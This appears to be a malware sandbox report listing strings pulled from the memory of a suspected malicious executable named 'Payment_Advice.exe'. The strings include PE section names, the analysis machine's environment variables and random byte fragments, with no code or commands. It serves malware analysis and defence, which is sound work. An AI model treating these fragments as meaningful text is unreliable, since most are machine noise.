Source: Payment_Advice.exe, 00000000.00000002.1550342568.000000000385F000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: cbw/v	memstr_f0d2d2d1-4
Source: Payment_Advice.exe, 00000000.00000002.1550342568.000000000385F000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: ]qw]qw	memstr_22f835ac-d
Source: Payment_Advice.exe, 00000000.00000002.1550342568.000000000385F000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: gfw`\bw	memstr_0bee1f67-e
Source: Payment_Advice.exe, 00000000.00000000.1370322475.0000000000500000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: !this program cannot be run in dos mode.	memstr_7ea00bd6-a
Source: Payment_Advice.exe, 00000000.00000000.1370322475.0000000000500000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: rich<>	memstr_540dc4f0-a
Source: Payment_Advice.exe, 00000000.00000000.1370322475.0000000000500000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: .text	memstr_40b983dc-0
Source: Payment_Advice.exe, 00000000.00000000.1370322475.0000000000500000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: `.rdata	memstr_03651486-e
Source: Payment_Advice.exe, 00000000.00000000.1370322475.0000000000500000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: `.rdata	memstr_1d70a78f-d
Source: Payment_Advice.exe, 00000000.00000000.1370322475.0000000000500000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: @.data	memstr_36bf6c14-d
Source: Payment_Advice.exe, 00000000.00000000.1370322475.0000000000500000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: @@.data g	memstr_d943050d-d
Source: Payment_Advice.exe, 00000000.00000000.1370322475.0000000000500000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: .didat	memstr_01ce3aa4-4
Source: Payment_Advice.exe, 00000000.00000000.1370322475.0000000000500000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: .rsrc	memstr_20c994ad-b
Source: Payment_Advice.exe, 00000000.00000000.1370322475.0000000000500000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: .rsrcx	memstr_3d217621-5
Source: Payment_Advice.exe, 00000000.00000000.1370322475.0000000000500000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: @.reloc	memstr_6690732e-6
Source: Payment_Advice.exe, 00000000.00000000.1370322475.0000000000500000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: @@.reloc<#	memstr_4aa49642-d
Source: Payment_Advice.exe, 00000000.00000002.1550372008.00000000038F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: xewpnew	memstr_14dce786-0
Source: Payment_Advice.exe, 00000000.00000002.1550372008.00000000038F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: xewpnew'	memstr_77d54866-6
Source: Payment_Advice.exe, 00000000.00000002.1550372008.00000000038F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: mmonpro	memstr_d52ea4c6-7
Source: Payment_Advice.exe, 00000000.00000002.1550372008.00000000038F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: @uprog3	memstr_795462aa-e
Source: Payment_Advice.exe, 00000000.00000002.1550372008.00000000038F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: @uprog33	memstr_ee640747-8
Source: Payment_Advice.exe, 00000000.00000002.1550372008.00000000038F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: gram files (x86)\common files	memstr_065d82d8-6
Source: Payment_Advice.exe, 00000000.00000002.1550372008.00000000038F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: commonprogramw6432=c:\program files\common files	memstr_ead75c48-b
Source: Payment_Advice.exe, 00000000.00000002.1550372008.00000000038F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: computername=hubert-pc	memstr_31942d91-d
Source: Payment_Advice.exe, 00000000.00000002.1550372008.00000000038F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: comspec=c:\win"	memstr_f7be2f04-8
Source: Payment_Advice.exe, 00000000.00000002.1550372008.00000000038F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: gram files (x86)\common filescommonprogramw6432=c:\program files\common filescomputername=user-pccomspec=c:\win""	memstr_53a5b1ac-5
Source: Payment_Advice.exe, 00000000.00000002.1550372008.00000000038F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: d.exe	memstr_f1f0095c-5
Source: Payment_Advice.exe, 00000000.00000002.1550372008.00000000038F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: driverdata=c:\windows\system32\drivers\driverdata	memstr_1bd28b7f-5
Source: Payment_Advice.exe, 00000000.00000002.1550372008.00000000038F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: fps_browser_app_profile_string=internet explorer	memstr_355bdbe0-0
Source: Payment_Advice.exe, 00000000.00000002.1550372008.00000000038F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: fps_browser_use	memstr_4ceffd56-5
Source: Payment_Advice.exe, 00000000.00000002.1550372008.00000000038F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: d.exedriverdata=c:\windows\system32\drivers\driverdatafps_browser_app_profile_string=internet explorerfps_browser_use	memstr_86195f5b-7
Source: Payment_Advice.exe, 00000000.00000002.1550372008.00000000038F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: users\user	memstr_06178ea4-d
Source: Payment_Advice.exe, 00000000.00000002.1550372008.00000000038F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: localappdata=c:\users\user\appdata\local	memstr_a8322fa6-b
Source: Payment_Advice.exe, 00000000.00000002.1550372008.00000000038F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: logonserver=\\user-pc	memstr_215a4fe2-e
Source: Payment_Advice.exe, 00000000.00000002.1550372008.00000000038F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: number_o	memstr_25a81478-8
Source: Payment_Advice.exe, 00000000.00000002.1550372008.00000000038F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: users\userlocalappdata=c:\users\user\appdata\locallogonserver=\\user-pcnumber_o	memstr_66b36611-d
Source: Payment_Advice.exe, 00000000.00000002.1550372008.00000000038F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: srive	memstr_337271f0-5
Source: Payment_Advice.exe, 00000000.00000002.1550372008.00000000038F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: os=windows_nt	memstr_a0a04ef9-6
Source: Payment_Advice.exe, 00000000.00000002.1550372008.00000000038F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: path=c:\program files (x86)\common files\oracle\java\javapath;c:\windows\	memstr_9bc60010-1
Source: Payment_Advice.exe, 00000000.00000002.1550372008.00000000038F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: sriveos=windows_ntpath=c:\program files (x86)\common files\oracle\java\javapath;c:\windows\	memstr_068ed602-c
Source: Payment_Advice.exe, 00000000.00000002.1550372008.00000000038F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ows;c:\windows\system32\wbem;c:\windows\system32\windowspowershell\v1.0\;c:\windows\system32\openssh\;c:\users\user\api	memstr_653cc0e3-2
Source: Payment_Advice.exe, 00000000.00000002.1550372008.00000000038F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ows;c:\windows\system32\wbem;c:\windows\system32\windowspowershell\v1.0\;c:\windows\system32\openssh\;c:\users\user\apii	memstr_262f2662-d
Source: Payment_Advice.exe, 00000000.00000002.1550372008.00000000038F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: osoft\windowsapps;	memstr_bb2ea146-f
Source: Payment_Advice.exe, 00000000.00000002.1550372008.00000000038F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: pathext=.com;.exe;.bat;.cmd;.vbs;.vbe;.js;.jse;.wsf;.wsh;.msc	memstr_a2c7717b-5
Source: Payment_Advice.exe, 00000000.00000002.1550372008.00000000038F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: processor_architecture=x86	memstr_df38e53c-0
Source: Payment_Advice.exe, 00000000.00000002.1550372008.00000000038F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: processor_arx	memstr_8d48a780-0
Source: Payment_Advice.exe, 00000000.00000002.1550372008.00000000038F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: osoft\windowsapps;pathext=.com;.exe;.bat;.cmd;.vbs;.vbe;.js;.jse;.wsf;.wsh;.mscprocessor_architecture=x86processor_arxx	memstr_9f32d5c0-4
Source: Payment_Advice.exe, 00000000.00000002.1550372008.00000000038F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: r=intel64 family 6 model 143 stepping 8, genuineintel	memstr_0dacf1cd-5
Source: Payment_Advice.exe, 00000000.00000002.1550372008.00000000038F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: processor_level=6	memstr_b2280949-1
Source: Payment_Advice.exe, 00000000.00000002.1550372008.00000000038F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: processor_revision=8f08	memstr_e310a83e-a
Source: Payment_Advice.exe, 00000000.00000002.1550372008.00000000038F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: progg	memstr_1826c23f-d
Source: Payment_Advice.exe, 00000000.00000002.1550372008.00000000038F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: r=intel64 family 6 model 143 stepping 8, genuineintelprocessor_level=6processor_revision=8f08proggg	memstr_09489e94-0
Source: Payment_Advice.exe, 00000000.00000002.1550372008.00000000038F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string:	memstr_e3c3c5ac-f
Source: Payment_Advice.exe, 00000000.00000002.1550372008.00000000038F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string:	memstr_a0028666-4
Source: Payment_Advice.exe, 00000000.00000002.1550372008.00000000038F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string:	memstr_4734005e-6
Source: Payment_Advice.exe, 00000000.00000002.1550372008.00000000038F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string:	memstr_47550c50-7
Source: Payment_Advice.exe, 00000000.00000002.1550372008.00000000038F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: abcdefghijklmnopqrstuvwxyz	memstr_b4214955-0
Source: Payment_Advice.exe, 00000000.00000002.1550372008.00000000038F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: abcdefghijklmnopqrstuvwxyz	memstr_64e9224f-d
Source: Payment_Advice.exe, 00000000.00000002.1550372008.00000000038F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz	memstr_9c087f0a-3
Source: Payment_Advice.exe, 00000000.00000002.1550372008.00000000038F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: allusersprofile=c:\programdata	memstr_560062bf-a
Source: Payment_Advice.exe, 00000000.00000002.1550372008.00000000038F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: appdata=c:\users\user\appdata\roaming	memstr_2995ad9c-f
Source: Payment_Advice.exe, 00000000.00000002.1550372008.00000000038F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: commonprogramfiles=c:\program files (x86)\common files	memstr_91a4306b-2
Source: Payment_Advice.exe, 00000000.00000002.1550372008.00000000038F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: commonprogramfiles(x86)=c:\program files (x86)\common files	memstr_f7d6669e-f
Source: Payment_Advice.exe, 00000000.00000002.1550372008.00000000038F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: comspec=c:\windows\system32\cmd.exe	memstr_2dc3a5e5-b
Source: Payment_Advice.exe, 00000000.00000002.1550372008.00000000038F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: fps_browser_user_profile_string=default	memstr_44b7ffaf-3
Source: Payment_Advice.exe, 00000000.00000002.1550372008.00000000038F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: homedrive=c:	memstr_5f792f6f-3
Source: Payment_Advice.exe, 00000000.00000002.1550372008.00000000038F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: homepath=\users\user	memstr_a255dd12-a
Source: Payment_Advice.exe, 00000000.00000002.1550372008.00000000038F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: number_of_processors=2	memstr_9107fcba-a
Source: Payment_Advice.exe, 00000000.00000002.1550372008.00000000038F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: onedrive=c:\users\user\onedrive	memstr_2a63d1bd-6
Source: Payment_Advice.exe, 00000000.00000002.1550372008.00000000038F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: path=c:\program files (x86)\common files\oracle\java\javapath;c:\windows\system32;c:\windows;c:\windows\system32\wbem;c:\windows\system32\windowspowershell\v1.0\;c:\windows\system32\openssh\;c:\users\user\appdata\local\microsoft\windowsapps;	memstr_f7aec71a-5
Source: Payment_Advice.exe, 00000000.00000002.1550372008.00000000038F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: processor_architew6432=amd64	memstr_258840c6-a
Source: Payment_Advice.exe, 00000000.00000002.1550372008.00000000038F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: processor_identifier=intel64 family 6 model 143 stepping 8, genuineintel	memstr_64ce2a52-b
Source: Payment_Advice.exe, 00000000.00000002.1550372008.00000000038F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: programdata=c:\programdata	memstr_e04efcda-6
Source: Payment_Advice.exe, 00000000.00000002.1550372008.00000000038F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: programfiles=c:\program files (x86)	memstr_f1051d9e-0
Source: Payment_Advice.exe, 00000000.00000002.1550372008.00000000038F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: programfiles(x86)=c:\program files (x86)	memstr_e8ecc641-0
Source: Payment_Advice.exe, 00000000.00000002.1550372008.00000000038F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: programw6432=c:\program files	memstr_ee145769-3
Source: Payment_Advice.exe, 00000000.00000002.1550372008.00000000038F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: psmodulepath=c:\program files (x86)\windowspowershell\modules;c:\windows\system32\windowspowershell\v1.0\modules;c:\program files (x86)\autoit3\autoitx	memstr_cdf562ca-c
Source: Payment_Advice.exe, 00000000.00000002.1550372008.00000000038F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: public=c:\users\public	memstr_832b8d80-6
Source: Payment_Advice.exe, 00000000.00000002.1550372008.00000000038F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: sessionname=console	memstr_71c4bcfe-2
Source: Payment_Advice.exe, 00000000.00000002.1550372008.00000000038F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: systemdrive=c:	memstr_25f88ccc-a
Source: Payment_Advice.exe, 00000000.00000002.1550372008.00000000038F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: systemroot=c:\windows	memstr_4d491c05-1
Source: Payment_Advice.exe, 00000000.00000002.1550372008.00000000038F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: temp=c:\users\user\appdata\local\temp	memstr_740debdf-d
Source: Payment_Advice.exe, 00000000.00000002.1550372008.00000000038F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: tmp=c:\users\user\appdata\local\temp	memstr_e6274697-3
Source: Payment_Advice.exe, 00000000.00000002.1550372008.00000000038F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: userdomain=hubert-pc	memstr_bb64cff2-f
Source: Payment_Advice.exe, 00000000.00000002.1550372008.00000000038F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: userdomain_roamingprofile=hubert-pc	memstr_8867b6c8-f
Source: Payment_Advice.exe, 00000000.00000002.1550372008.00000000038F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: username=hubert	memstr_3b78dab4-c
Source: Payment_Advice.exe, 00000000.00000002.1550372008.00000000038F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: userprofile=c:\users\user	memstr_c02f55d7-9
Source: Payment_Advice.exe, 00000000.00000002.1550372008.00000000038F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: windir=c:\windows	memstr_83c80023-a
Source: Payment_Advice.exe, 00000000.00000002.1550372008.00000000038F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: allusersprofile=c:\programdataappdata=c:\users\user\appdata\roamingcommonprogramfiles=c:\program files (x86)\common filescommonprogramfiles(x86)=c:\program files (x86)\common filescommonprogramw6432=c:\program files\common filescomputername=user-pccomspec=c:\windows\system32\cmd.exedriverdata=c:\windows\system32\drivers\driverdatafps_browser_app_profile_string=internet explorerfps_browser_user_profile_string=defaulthomedrive=c:homepath=\users\userlocalappdata=c:\users\user\appdata\locallogonserver=\\user-pcnumber_of_processors=2onedrive=c:\users\user\onedriveos=windows_ntpath=c:\program files (x86)\common files\oracle\java\javapath;c:\windows\system32;c:\windows;c:\windows\system32\wbem;c:\windows\system32\windowspowershell\v1.0\;c:\windows\system32\openssh\;c:\users\user\appdata\local\microsoft\windowsapps;pathext=.com;.exe;.bat;.cmd;.vbs;.vbe;.js;.jse;.wsf;.wsh;.mscprocessor_architecture=x86processor_architew6432=amd64processor_identifier=intel64 family 6 model 143 stepping 8, genuineintelprocessor_level=6processor_revision=8f08programdata=c:\programdataprogramfiles=c:\program files (x86)programfiles(x86)=c:\program files (x86)programw6432=c:\program filespsmodulepath=c:\program files (x86)\windowspowershell\modules;c:\windows\system32\windowspowershell\v1.0\modules;c:\program files (x86)\autoit3\autoitxpublic=c:\users\publicsessionname=consolesystemdrive=c:systemroot=c:\windowstemp=c:\users\user\appdata\local\temptmp=c:\users\user\appdata\local\tempuserdomain=user-pcuserdomain_roamingprofile=user-pcusername=useruserprofile=c:\users\userwindir=c:\windows	memstr_205291f6-6
Source: Payment_Advice.exe, 00000000.00000002.1550372008.00000000038F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: @fgu`fgu	memstr_87033423-e
Source: Payment_Advice.exe, 00000000.00000002.1550372008.00000000038F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ggu ggu@ggu`ggu	memstr_7bd3fcd3-e
Source: Payment_Advice.exe, 00000000.00000002.1550372008.00000000038F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: fguggu ggu@ggu`ggu	memstr_c9274666-0
Source: Payment_Advice.exe, 00000000.00000002.1550372008.00000000038F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: hgu hgu@hgu`hgu	memstr_5c2f8896-d
Source: Payment_Advice.exe, 00000000.00000002.1550372008.00000000038F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: gguhgu hgu@hgu`hgu	memstr_1ff3f349-1
Source: Payment_Advice.exe, 00000000.00000002.1550372008.00000000038F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 0y^mla]m	memstr_1a30c8b5-0
Source: Payment_Advice.exe, 00000000.00000002.1550372008.00000000038F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: p6dm!	memstr_c8b925dd-e
Source: Payment_Advice.exe, 00000000.00000002.1550372008.00000000038F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: p6dm!!	memstr_bc8772eb-3
Source: Payment_Advice.exe, 00000000.00000002.1550372008.00000000038F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: pem!	memstr_61cc0805-0
Source: Payment_Advice.exe, 00000000.00000002.1550372008.00000000038F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: pem!!	memstr_cd3c28a9-f
Source: Payment_Advice.exe, 00000000.00000002.1550372008.00000000038F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: mm!!l	memstr_6466fe60-8
Source: Payment_Advice.exe, 00000000.00000002.1550372008.00000000038F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ncm!!	memstr_0f1bdce5-b
Source: Payment_Advice.exe, 00000000.00000002.1550372008.00000000038F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: mmmaad	memstr_4268910e-7
Source: Payment_Advice.exe, 00000000.00000002.1550372008.00000000038F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ^mla]m	memstr_67a19bcb-5
Source: Payment_Advice.exe, 00000000.00000002.1550372008.00000000038F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: wz6@e	memstr_91d51dd3-f
Source: Payment_Advice.exe, 00000000.00000002.1550372008.00000000038F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: :k@6	memstr_f8b88071-9
Source: Payment_Advice.exe, 00000000.00000002.1550372008.00000000038F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: mm!!:	memstr_571089ff-6
Source: Payment_Advice.exe, 00000000.00000002.1550372008.00000000038F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: @]m!%	memstr_2cfe7384-2
Source: Payment_Advice.exe, 00000000.00000002.1550372008.00000000038F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ftypmif1	memstr_42c29ede-0
Source: Payment_Advice.exe, 00000000.00000002.1550372008.00000000038F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ftypavci	memstr_ca490e00-e
Source: Payment_Advice.exe, 00000000.00000002.1550372008.00000000038F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ftyphevc	memstr_49be6343-0
Source: Payment_Advice.exe, 00000000.00000002.1550372008.00000000038F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ftypheis	memstr_0bec5676-5
Source: Payment_Advice.exe, 00000000.00000002.1550372008.00000000038F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ftypheix	memstr_9e262448-6
Source: Payment_Advice.exe, 00000000.00000002.1550372008.00000000038F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ftypjpeg	memstr_17cd4d4b-9
Source: Payment_Advice.exe, 00000000.00000002.1550372008.00000000038F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ftypavif	memstr_92bc2983-4
Source: Payment_Advice.exe, 00000000.00000002.1550372008.00000000038F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ftypavis	memstr_5af28c46-0
Source: Payment_Advice.exe, 00000000.00000002.1550372008.00000000038F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ftypmsf1	memstr_a1b80e01-a
Source: Payment_Advice.exe, 00000000.00000002.1550372008.00000000038F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: <]m\|<]m	memstr_8aa475aa-9
Source: Payment_Advice.exe, 00000000.00000002.1550372008.00000000038F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ttabtip-mainui]m	memstr_b5cc0084-0
Source: Payment_Advice.exe, 00000000.00000002.1550372008.00000000038F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: am *qmn	memstr_bb8cdbbd-f
Source: Payment_Advice.exe, 00000000.00000002.1550372008.00000000038F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: am *qmnn	memstr_70db5dcf-f
Source: Payment_Advice.exe, 00000000.00000002.1550372008.00000000038F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ! @~d	memstr_da1fe314-f
Source: Payment_Advice.exe, 00000000.00000002.1550372008.00000000038F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: !	memstr_c14242e0-e
Source: Payment_Advice.exe, 00000000.00000002.1550372008.00000000038F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: a@!!	memstr_4a47675a-f
Source: Payment_Advice.exe, 00000000.00000002.1550496590.00000000056F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ! "!#"$#%$&%'&(')()+,+-,.-/.0/102132435465768798:9;:<;=<>=?>@?a@eaibmcqdueyf]gaheiijmkqlumyn}o	memstr_e460025e-5
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: !this program cannot be run in dos mode.	memstr_86d15697-7
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: rich<>	memstr_78dffd16-8
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: .text	memstr_9f317b23-b
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: `.rdata	memstr_dcd811c2-d
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: `.rdata	memstr_fb070ca9-f
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: @.data	memstr_faf7a522-1
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: @@.data g	memstr_af49dd0b-8
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: .didat	memstr_2115ae41-7
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: .rsrc	memstr_dd4c618c-8
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: .rsrcx	memstr_5950170a-2
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: @.reloc	memstr_c39da386-3
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: @@.reloc<#	memstr_3b969ba8-8
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: t1h!0	memstr_a06db4c7-2
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: t1h!0p	memstr_ff2b3d18-a
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ha&cpd	memstr_30fd53bf-1
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 5ct w	memstr_c5c05263-7
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: f2pj9	memstr_95853fcc-7
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 9ruj+	memstr_dd2291ee-3
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: c2pj<	memstr_12330e25-6
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: zqug3	memstr_bf4ad494-9
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: g2pj9	memstr_949a811f-b
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: tcsj\	memstr_a6c410e7-9
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: l$$uu	memstr_bc14e916-7
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: e@qqqqp	memstr_8a2899ca-8
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: mtuu3	memstr_68d48183-4
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: !hp6c	memstr_a13010c3-f
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: c2ppj	memstr_65478ae2-e
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: c2ppu^h	memstr_97ad36c0-d
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: t"t_j	memstr_72ea8e18-2
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: hp6cw	memstr_57dbb506-8
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: f2pj8	memstr_51210065-8
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: )\$pf	memstr_0308b06f-f
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: )l$@f	memstr_9bcb8f59-c
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: nl$ f	memstr_ce9a0cba-a
